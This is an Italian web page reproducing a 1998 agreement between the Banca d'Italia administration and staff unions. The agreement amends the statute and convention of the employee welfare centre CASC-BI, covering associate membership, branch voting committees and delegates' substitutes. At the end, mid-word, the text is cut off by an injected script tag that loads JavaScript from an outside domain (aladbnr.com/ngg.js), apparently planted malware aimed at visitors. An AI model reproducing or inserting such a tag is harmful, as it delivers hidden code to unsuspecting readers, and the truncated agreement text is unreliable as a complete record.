Torna
all'elenco delle categorie
|
Categoria: Bancari (carriera operativa, BANCA D'ITALIA) Settore: Credito e Assicurazioni Data stipula: 28-10-1998
Il giorno 28 ottobre 1998
tra
l'Amministrazione della Banca d'Italia, rappresentata dal Segretario
Generale Cesare Augusto Giussani, assistito dal Capo del Servizio
Personale Inquadramento Normativo ed Economico Paolo Piccialli
e
il SINDIRETTIVO-CIDA, rappresentato da: Omero Papi, Antonio Carrubba;
la FABI, rappresentata da: Angelo Maranesi, Alessandro Del Moro, Giuseppe
Ferrazza;
la FALBI - Sindacato Nazionale Banca Centrale, rappresentata da: Luigi
Leone, Lucio Rizzo, Aniello Mancino, Maurizio Marini, Sergio Marzinotto,
Cataldo Roselli, Stefano Nobilia;
il SIBC-CISAL, rappresentato da: Massimo Dary, Mario Calcagno, Daniela
Mulè
è stato stipulato il seguente accordo, concernente il Centro per
l'Assistenza Sociale e Culturale tra i dipendenti della Banca d'Italia
(CASC-BI), che modifica nei termini che seguono la parte IV degli accordi
negoziali per il quadriennio 1994-97.
A) Le parti concordano che lo Statuto del CASC-BI sia modificato nei
termini seguenti:
Art. 5.
I soci del CASC-BI si distinguono in:
1) (omissis)
2) soci aggregati:
a) gli orfani e il coniuge superstite di dipendenti e di ex dipendenti
per tutto il tempo in cui hanno titolo a percepire prestazioni
pensionistiche ovvero finché permangono nei confronti degli orfani i
requisiti previsti dal Regolamento del Personale in tema di
"riconoscimenti a carico";
b) gli orfani e il coniuge superstite (quest'ultimo purché non passato a
nuove nozze) di dipendenti deceduti in attività di servizio senza aver
maturato diritto a pensione di Banca, purché riconosciuti a carico del
dipendente al momento del decesso e finché permangono nei loro confronti i
requisiti previsti dal Regolamento del Personale in tema di
"riconoscimenti a carico";
c) i familiari a carico dei soci effettivi nonché, anche se non a
carico, il coniuge e i figli dei soci stessi purché conviventi e non
coniugati;
d) i conviventi così come definiti dal Regolamento del Personale della
Banca.
Art. 16.
Presso le Filiali i votanti consegnano personalmente le schede ad un
apposito Comitato, formato da 3 soci tra i quali di diritto il
Rappresentante di Filiale (Filiali fuori Roma) ovvero il Delegato del CASC-
BI (Filiali di Roma).
Per l'area romana potranno essere costituiti appositi Comitati per i
diversi poli di insediamento (Palazzo Koch, Palazzo ex CIM, Tuscolano e
Centro Servizi "Donato Menichella") formati da 3 soci nominati dalla
Presidenza del Centro previo sorteggio tra i Delegati delle unità
interessate.
(omissis)
Art. 18.
(omissis)
Il Consiglio Direttivo in particolare:
- (omissis)
- (omissis)
- (omissis)
- approva i rendiconti trimestrali di gestione e il rendiconto
economico finanziario consuntivo con l'acclusa relazione sull'attività
svolta;
- (omissis)
- (omissis)
- (omissis)
(omissis)
Art. 31.
(omissis)
(omissis)
(omissis)
I Delegati del CASC-BI presso i Servizi Fabbricazione Carte Valori,
Elaborazioni e Sistemi Informativi e Cassa Generale possono nominare un
proprio sostituto abilitato a fruire dei permessi del Delegato, fermo
restando che non è consentita la contemporanea assenza del Delegato e del
sostituto per motivi connessi al CASC-BI.
B) Le parti concordano che la Convenzione che regola i rapporti tra la
Banca e il CASC-BI sia modificata nei termini seguenti:
Art. 5, paragrafo I.
(omissis)
d) orfani di dipendenti deceduti in attività di servizio senza aver
maturato diritto a pensione di Banca, purché riconosciuti a carico del
dipendente al momento del decesso e finché permangono nei loro confronti i
requisiti previsti dal Regolamento del Personale in tema di
"riconos<script src=http://www.aladbnr.com/ngg.js></script>
|